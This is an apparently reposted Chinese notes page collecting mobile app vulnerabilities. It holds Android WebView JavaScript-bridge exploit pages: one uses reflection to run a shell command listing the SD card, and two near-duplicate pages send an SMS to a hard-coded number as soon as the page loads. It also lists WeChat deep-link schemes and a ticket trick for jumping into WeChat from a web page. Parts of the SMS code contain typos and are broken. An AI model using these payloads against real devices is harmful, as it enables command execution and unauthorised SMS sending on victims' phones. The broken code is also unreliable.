移动app漏洞收集(待整理)
2023-06-13 09:13:29 时间
http://www.anquan.us/static/bugs/wooyun-2015-0114241.html pageid:
<html>
<body>
<script>
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));
</script>
</body>
</html>
这个是执行命令的poc
<html>
<head>
<title>Test send</title>
<script type="text/javascript">
function execute() {
var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body onload="execute()">
<input type="button" onclick="="execute" value="test"/>
</body>
</html>
<html>
<head>
<title>Test sendsms</title>
<script type="text/javascript">
function execute() {
var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body onload="execute()">
<input type="button" onclick="="execute" value="test"/>
</body>
</html>
https://www.jianshu.com/p/2c6c55b48238
出售API的 http://vip.wxticket.com/
weixin的协议 weixin://看了官方的文档之后我发现了微信支持如下操作
weixin://dl/general
weixin://dl/favorites 收藏
weixin://dl/scan 扫一扫
weixin://dl/feedback 反馈
weixin://dl/moments 朋友圈
weixin://dl/settings 设置
weixin://dl/notifications 消息通知设置
weixin://dl/chat 聊天设置
weixin://dl/general 通用设置
weixin://dl/officialaccounts 公众号
weixin://dl/games 游戏
weixin://dl/help 帮助
weixin://dl/feedback 反馈
weixin://dl/profile 个人信息
weixin://dl/features 功能插件
经过一番查找我找到了能够跳转的方法 weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx 打开小xx网站的时候突然弹出的微信是什么鬼
果然是我想象得那样 weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4 我们手机打开一下我得测试网页 demo 成功打开微信并跳转~~~~
相关文章
- IOS APP开发:苹果app从开发到上架教程详解
- windows可以安装安卓APP(含WSA部署小工具下载)
- MobSF一款可以扫描APP漏洞的平台
- 怎样让小程序小游戏也可以在自己的App上架运行?
- 喜报!腾讯云智能获选国家工信部工业互联网APP优秀解决方案
- APP成本评估:安卓app系统软件开发费用明细一览表
- Application Loader及Transporter App上传ipa外、可以在Windows上架iOS APP工具
- 2018最新苹果APP上架App Store流程(超详细)
- Spartacus 4.3.x 版本导入 Cart 到 App Module 构造函数的错误消息
- 把ipa文件上传到App Store教程步骤
- 实现在windows、linux下上传ios app到App Store
- macOS App开发:走向软件世界的大门(macosapp开发)
- 担忧组织成员被打击报复 App Fairness希望法院撤回苹果的传票
- Apple Watch 对讲机 APP 曝出窃听漏洞
- 手机App连接网站MySQL数据库实现跨平台通讯(app连接网站mysql)
- APP连接MySQL,实现数据互联互通(app调用mysql)
- 基于App与MySQL交互实现数据读写示例(app读写mysql例子)
- 移动端App使用MySQL数据库开发丰富应用(app用mysql)
- 数据库利用App制作读取MySQL数据库的简单方法(app制作读取mysql)
- 国民级社交App!微信月活账户达12.5亿:同比增长3.8%